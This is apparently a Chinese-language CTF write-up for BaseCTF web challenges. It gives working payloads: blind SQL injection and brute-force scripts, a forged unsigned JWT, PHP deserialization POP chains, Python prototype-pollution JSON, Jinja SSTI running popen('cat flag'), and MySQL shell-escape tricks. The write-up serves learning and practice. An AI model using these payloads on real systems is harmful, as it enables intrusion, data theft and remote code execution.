1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests url = 'http://challenge.basectf.fun:23955/' ans = None for i in range (1 , 100 ): payload = {f'len[{j} ]' : '0' for j in range (i)} response = requests.post(url, data=payload) print (response.text.splitlines()[-1 ]) last_line = response.text.splitlines()[-1 ] if "我不管,我要玩原神!😭😭😭" in last_line: print (f'Success with {i} parameters!' ) ans = i break if ans: payload_str = '&' .join([f'len[{j} ]=0' for j in range (ans)]) print (payload_str)
第二层输入?tip=我要玩原神
第三层直接输入需要url编码
1 m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966
最后一层
已知每个加密字符串 enc[i]
是由字符的 ASCII 值和索引 i
异或后的结果再进行 md5
哈希得到的 。
通过暴力破解的方法 :
对每个加密的哈希值 enc[i]
,尝试所有可能的字符(ASCII值从0到126)。
计算这些字符与其索引 i
异或后的值,并对该值进行 md5
哈希。
如果哈希结果与 enc[i]
相同,说明找到了正确的字符。
**最终结果是解密后的字符串 flag
**。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from hashlib import md5 enc = [ "3295c76acbf4caaed33c36b1b5fc2cb1" , "26657d5ff9020d2abefe558796b99584" , "73278a4a86960eeb576a8fd4c9ec6997" , "ec8956637a99787bd197eacd77acce5e" , "e2c420d928d4bf8ce0ff2ec19b371514" , "43ec517d68b6edd3015b3edc9a11367b" , "ea5d2f1c4608232e07d3aa3d998e5135" , "c8ffe9a587b126f152ed3d89a146b445" , "072b030ba126b2f4b2374f342be9ed44" , "f457c545a9ded88f18ecee47145a72c0" , "698d51a19d8a121ce581499d7b701668" , "c0c7c76d30bd3dcaefc96f40275bdc0a" , "9a1158154dfa42caddbd0694a4e9bdc8" , "a3c65c2974270fd093ee8a9bf8ae7d0b" , "b53b3a3d6ab90ce0268229151c9bde11" , "072b030ba126b2f4b2374f342be9ed44" , "7f39f8317fbdb1988ef4c628eba02591" , "d67d8ab4f4c10bf22aa353e27879133c" , "5ef059938ba799aaa845e1c2e8a762bd" , "1c383cd30b7c298ab50293adfecb7b18" , "a5771bce93e200c36f7cd9dfd0e5deaa" , "9f61408e3afb633e50cdf1b20de6f466" , "e369853df766fa44e1ed0ff613f563bd" , "e369853df766fa44e1ed0ff613f563bd" , "6c8349cc7260ae62e3b1396831a8398f" , "a0a080f42e6f13b3a2df133f073095dd" , "b53b3a3d6ab90ce0268229151c9bde11" , "a0a080f42e6f13b3a2df133f073095dd" , "6c8349cc7260ae62e3b1396831a8398f" , "069059b7ef840f0c74a814ec9237b6ec" , "f7177163c833dff4b38fc8d2872f1ec6" , "c0c7c76d30bd3dcaefc96f40275bdc0a" , "c74d97b01eae257e44aa9d5bade97baf" , "37693cfc748049e45d87b8c7d8b9aacd" , "37693cfc748049e45d87b8c7d8b9aacd" , "02e74f10e0327ad868d138f2b4fdd6f0" , "e2c420d928d4bf8ce0ff2ec19b371514" , "7cbbc409ec990f19c78c75bd1e06f215" , "ea5d2f1c4608232e07d3aa3d998e5135" , "14bfa6bb14875e45bba028a21ed38046" , "ad61ab143223efbc24c7d2583be69251" , "6ea9ab1baa0efb9e19094440c317e21b" , "d1fe173d08e959397adf34b1d77e88d7" , "d1fe173d08e959397adf34b1d77e88d7" , "43ec517d68b6edd3015b3edc9a11367b" ] flag='' for i in range (45 ): for c in range (127 ): if (md5(str (c^i).encode()).hexdigest()==enc[i]): flag+=chr (c) break print (flag)
代码自行修改就可以得到flag了
week4 web flag直接读取不就行了? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); }echo new $J1ng ($Hong );?>
读取目录可以利用DirectoryIterator
进行读取,逐层遍历得到具体位置
1 ?K=DirectoryIterator&W=../../../secret
然后post读取就可以得到flag了,需要看源码
1 J=SplFileObject&H=../../../secret/f11444g.php
圣钥之战1.0 考察python原型链的知识,以前没写过刚好帮我入了门,先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,requestimport json app = Flask(__name__)def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls()@app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read()@app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
原理先按下不表,之后会出一篇文章学习一下原型链,主要是先写题目。大致就是利用merge函数来修改父类的属性
思路是利用/read下的__file__
进行读取flag,想要利用这个,需要通过/pollute的传参就是污染,用merge对这个进行修改,同时__file__
变量是一个全局值,就可以用上面写到的__globals__
函数来获取全局变量并进行修改
注意的是需要添加头,否则不能读取成功Content-Type: application/json
之后在/read刷新一下就出flag了,不能理解的看一下代码原理。
only one sql 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/select|;|@|\n/i' , $sql )) { die ("你知道的,不可能有sql注入" ); }if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); }$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"" ;system ($query );
首先执行show databases
爆库看看,再执行爆表
猜测应该在flag里,执行一下爆列show columns from flag
猜测在data里面,题目把正常的select给过滤了,提醒了盲注,本人sql其实不算擅长,根据官p来吧,正常的flag格式是B来头,我们可以利用delete和时间盲注进行探测,比如
1 ?sql=delete from flag where data like 'B%' and sleep (5)
DELETE FROM flag
:从 flag
表中删除记录。WHERE data LIKE 'B%'
:条件为 data
字段的值以字母 B
开头的记录会被选中。检测是否有B开头的.SLEEP(5)
会让数据库等待 5 秒再继续执行。最后写个脚本等慢慢跑出来就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport string char = string.ascii_lowercase + string.digits + '-' + '{}' flag = '' for i in range (0 , 100 ): for c in char: url = f'http://challenge.basectf.fun:28963/?sql=delete%20from%20flag%20where%20data%20like%20%27{flag} {c} %25%27%20and%20sleep(5)' try : response = requests.get(url, timeout=4 ) except requests.exceptions.Timeout: print (flag + c) flag += c break
No JWT 和平常写的jwt有点不太一样
接口需要一个包含角色为 admin
的 JWT 令牌才能返回 flag。为了得到 flag,需要伪造一个 JWT 令牌,绕过服务器端的角色检查。
签名验证已被禁用,可以伪造一个 JWT 令牌,其中 role
设置为 admin
。接下来就是构造这个伪造的 JWT 令牌并发送请求到 /flag
接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import base64import jsonimport requests flag_url = 'http://challenge.basectf.fun:30617/flag' header = { "alg" : "none" , "typ" : "JWT" } payload = { "sub" : "admin" , "role" : "admin" , "exp" : 9999999999 } header_enc = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=" ) payload_enc = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=" ) fake_jwt = f"{header_enc} .{payload_enc} ." headers = { 'Authorization' : f'Bearer {fake_jwt} ' } response = requests.get(flag_url, headers=headers)print ("服务器响应状态码:" , response.status_code)print ("服务器响应内容:" , response.text)
Fin web 1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ) { for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); }else { die ("114514到底是啥意思嘞?。?" ); }$shell =$_POST ['shell' ];eval ($shell );?>
第一层对emp进行传值,用小数点就可以绕过,注意php特性
第二层非贪婪绕过,可以去看看p神的文章,了解一下原理,PHP利用PCRE回溯次数限制绕过某些安全限制 ,只需要给HACKER前面加100w个就行了(ps:我没测最小值需要多少,直接量大管饱了)post发包
1 2 3 payload = b'a' * 1000000 + b'HACKER' print (payload)
第三层进行原生类的读取,简要的介绍gpt来写
SplFileObject
是 PHP 的一个内置类,继承自 SplFileInfo
,用于处理文件的读写操作。它提供了许多方法来操作文件,类似于文件处理的面向对象接口。
使用 SplFileObject
的常见方法:
fgets()
: 读取文件的一行。
fwrite()
: 写入内容到文件。
fgetc()
: 读取文件的一个字符。
php://stdin
是一个 PHP 的流包装器,表示标准输入流。这通常用于从命令行或其他输入流读取数据。
php://stdin
允许你读取从标准输入传入的数据,例如,通过命令行管道传递的数据。
fgets()
是 SplFileObject
提供的一个方法,用于从文件中读取一行。结合 php://stdin
,它可以读取从标准输入传入的数据。
1 a=SplFileObject&b=php://stdin&c=fgets
最后在post后面执行system('cat flag.php');
就可以得到flag,看源码
ez_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file (__file__);function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); }class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } }class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } }class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } }class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } }class E { public $e ; public function __isset ($name ) { ($this ->e)(); } }class R { public $r ; public function __invoke ( ) { eval ($this ->r); } }if (isset ($_GET ['ez_ser.from_you' ])){ $ctf = new Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' ); if (preg_match ("/\[|\]/i" , $_GET ['substr' ])){ die ("NONONO!!!" ); } $pre = isset ($_GET ['substr' ])?$_GET ['substr' ]:"substr" ; $ser_ctf = substrstr ($pre ."[" .serialize ($ctf )."]" ); $a = unserialize ($ser_ctf ); throw new Exception ("杂鱼~杂鱼~" ); }
晨曦✌出的太狠了,简单的先分析一下pop链,一下是依次触发的情况
1 Hacker::__destruct => C::__toString => T::__call => F::__get => E::__isset => R::__invoke
接着考虑绕过__wakeup,使用&进行引用就可以绕过
需要注意的是由于最后有throw new Exception("杂鱼~杂鱼~");
让__destruct不能正常触发,需要使用gc回收机制,参考GC回收机制 ,
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } }class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } }class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } }class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } }class E { public $e ; public function __isset ($name ) { ($this ->e)(); } }class R { public $r ; public function __invoke ( ) { eval ($this ->r); } }$exp =new Hacker ();$exp ->end=&$exp ->username;$exp ->start=new C;$exp ->start->c=new T;$exp ->start->c->t=new F;$exp ->start->c->t->f=new E;$exp ->start->c->t->f->e=new R;$exp ->start->c->t->f->e->r="system('ls');" ;$orange =array ('1' =>$exp ,'2' =>null );echo serialize ($orange );
得到的答案需要在本地测试一下前面的内容
然后前面的需要进行字符串逃逸,这里不再赘婿,可以看我文章 ,
测出长度是
1 2 ?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f &ez[ser.from_you=a:2:{i:1;O:6:"Hacker" :3:{s:5:"start" ;O:1:"C" :1:{s:1:"c" ;O:1:"T" :1:{s:1:"t" ;O:1:"F" :1:{s:1:"f" ;O:1:"E" :1:{s:1:"e" ;O:1:"R" :1:{s:1:"r" ;s:15:"system('ls /');" ;}}}}}s:3:"end" ;s:6:"hacker" ;s:8:"username" ;R:9;}i:1;N;}
1 2 ?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%9f &ez[ser.from_you=a:2:{i:1;O:6:"Hacker" :3:{s:5:"start" ;O:1:"C" :1:{s:1:"c" ;O:1:"T" :1:{s:1:"t" ;O:1:"F" :1:{s:1:"f" ;O:1:"E" :1:{s:1:"e" ;O:1:"R" :1:{s:1:"r" ;s:20:"system('cat /flag');" ;}}}}}s:3:"end" ;s:6:"hacker" ;s:8:"username" ;R:9;}i:1;N;}
cx师傅又让我学到了
Jinja Mark 在/flag里面可以fuzz一下得到提示,不确定这个是动态还是静态的,最好自己bp跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ]def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)@app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
得到了提示,index禁用了花括号,然后这是一个python原生类的题目~暂时没思路了,是要通过原生类进行ssti,还是通过这个进行简单的花括号绕过呢
续言:没错就是进行简单的花括号绕过,用其他代替就好了jinja_env
配置了 Jinja2 的模板引擎环境,通过修改 variable_start_string
和 variable_end_string
来控制模板变量的起始和结束符号。只是我知识面比较窄而已,利用post发包
1 2 3 4 5 6 7 8 9 10 11 12 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "variable_start_string" : "<<" , "variable_end_string" : ">>" } } } } }
1 Content-Type: application/json
最后直接在对应的界面进行简单的ssti注入就行了
1 <<"" .__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen' ]('cat flag' ).read ()>>
Back to the future 一时间没想起来怎么写,在nss刷题的时候突然就想起来了,默认去看一下robots.txt,通常不要扫描的都在这里,提醒的是.git然后用githacker这个工具进行恢复,利用git reset –hard 第二个恢复flag
续:有师傅和我说githack不能直接得到,我用的是gitdumper下来再用githacker的,也可以按这么来。
RCE or Sql Inject 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); }if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); }$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query ); ctfer! You can't succeed this time! hahaha ctfer! You can' t succeed this time! hahaha
学习学习吧,给的hint告诉了这题其实已经是rce的题目了
R! C! E! mysql远程连接和命令行操作是不是有些区别呢 输个问号看看?
本地mysql连接输入?看看有一行可以注意到(我在物理机测试上并没有,可能是版本问题,之后会在vps上测一下)
1 system (\!) Execute a system shell command.
那么就是使用system或者\!
执行一个system shell命令
冷知识+1
Sql Inject or RCE 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__);$sql = $_GET ['sql' ];if (preg_match('/se|ec|st|;|@|delete|into|outfile/i' , $sql )) { die("你知道的,不可能有sql注入" ); }if (preg_match('/"|\$|`|\\\\/i' , $sql )) { die("你知道的,不可能有RCE" ); }$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ; system($query ); ctfer! You can't succeed this time! hahaha ctfer! You can' t succeed this time! hahaha
在上一题的基础上过滤了system,并且把过滤的del变成了delete,所以可以考虑从del这方面入手。
DELIMITER
是一个用于改变 SQL 语句结束符的命令,通常用于定义存储过程、触发器或函数时,因为这些语句内部会使用 ;
,而 ;
也是 MySQL 默认的语句结束符。简单的说可以把DELIMITER当作;,但是我们可以自定义这个。
handler是MySQL特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
1 ?sql=%0adelimiter orange%0a handler flag openorange%0ahandler flag read next
实际执行的是
1 2 3 delimiter orange handler flag openorange handler flag read next
Lucky Number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,request,render_template_string,render_templatefrom jinja2 import Templateimport jsonimport heavendef merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)class cls (): def __init__ (self ): pass instance = cls() BLACKLIST_IN_index = ['{' ,'}' ]def is_json (data ): try : json.loads(data) return True except ValueError: return False @app.route('/m4G1c' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) result = heaven.create() message = result["message" ] return "这个魔术还行吧 " + message else : return "我要json的魔术" return "记得用POST方法把魔术交上来" def create (kon="Kon" , pure="Pure" , *, confirm=False ): if confirm and "lucky_number" not in create.__kwdefaults__: return {"message" : "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?" , "lucky_number" : "nope" } if confirm and "lucky_number" in create.__kwdefaults__: return {"message" : "这是你的lucky_number,请拿好,去/check下检查一下吧" , "lucky_number" : create.__kwdefaults__["lucky_number" ]} return {"message" : "你有什么想创造的吗?" , "lucky_number" : "nope" }
也是一道原生类的题目orz
从已知的代码进行分析,在heaven.py里有create函数的__kwdefaults__
,同时还需要confirm是true.涉及动态加载模块或处理模块之间的依赖时,需要sys.modules
来访问已经加载的模块.回到代码中并没有导入sys模组,这时可以利用python的内置函数__spec__
.包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.spec .init .globals [‘sys’]获取到sys模块,此处就可以使用json模块获取.(以上跟着官p学的,我还没学这么多orz)
1 Content-Type: application/json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 { "__init__" : { "__globals__" : { "json" : { "__spec__" : { "__init__" : { "__globals__" : { "sys" : { "modules" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : true , "lucky_number" : "5346" } } } } } } } } } } } }
然后会变成快去/ssSstTti1注入吧
然后就是普通的无过滤的ssti注入
1 {{"" .__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen' ]('cat flag' ).read ()}}
Just Readme 官p给的是ambionics/cnext-exploitsCNEXT 的漏洞(CVE-2024-2961)